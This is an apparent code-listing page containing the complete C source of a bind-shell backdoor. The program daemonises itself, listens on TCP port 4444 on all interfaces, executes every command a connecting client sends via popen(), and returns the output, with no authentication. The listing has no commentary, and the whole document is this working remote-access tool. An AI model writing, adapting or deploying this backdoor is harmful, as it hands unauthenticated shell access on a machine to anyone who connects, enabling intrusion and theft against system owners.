1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107
|
#include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <time.h> #include <fcntl.h> #include <string.h> #include <errno.h> #include <sys/stat.h> #include <sys/socket.h> #include <arpa/inet.h> #include <netinet/in.h>
#define MAXPENDING 5 #define BUFFSIZE 255 #define BINDPORT 4444
void die(char *mess) { perror(mess); exit(1); }
int main(void){
if(daemon(0,1) == -1){ perror("daemon error"); exit(0); }
int serversock, clientsock; struct sockaddr_in echoserver, echoclient;
if ((serversock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) { die("Failed to create socket"); } memset(&echoserver, 0, sizeof(echoserver)); echoserver.sin_family = AF_INET; echoserver.sin_addr.s_addr = htonl(INADDR_ANY); echoserver.sin_port = htons( BINDPORT );
if (bind(serversock, (struct sockaddr *) &echoserver, sizeof(echoserver)) < 0) { die("Failed to bind the server socket"); } if (listen(serversock, MAXPENDING) < 0) { die("Failed to listen on server socket"); } while (1) { unsigned int clientlen = sizeof(echoclient); if ((clientsock = accept(serversock, (struct sockaddr *) &echoclient, &clientlen)) < 0) { die("Failed to accept client connection"); } printf("[*] Client connected: %s\n", inet_ntoa(echoclient.sin_addr)); FILE *fp; int received; char command[BUFFSIZE]; char buffer[BUFFSIZE]; memset(command,0,sizeof(command)); memset(buffer,0,sizeof(buffer)); while( (received = recvfrom(clientsock, command, BUFFSIZE, 0, (struct sockaddr *) &echoclient, &clientlen)) > 0 ){
if(strcmp(command,"exit") == 0){ printf("[*] Client exit."); break; }else{ printf("[*] Client send(%d): %s\n", received, command); } fp=popen(command,"r"); while(fgets(buffer,sizeof(buffer),fp)!=NULL){ printf("%s", buffer); send(clientsock, buffer, sizeof(buffer), 0); memset(buffer,0,sizeof(buffer)); } pclose(fp); memset(command,0,sizeof(command)); } close(clientsock);
} return 0; }
|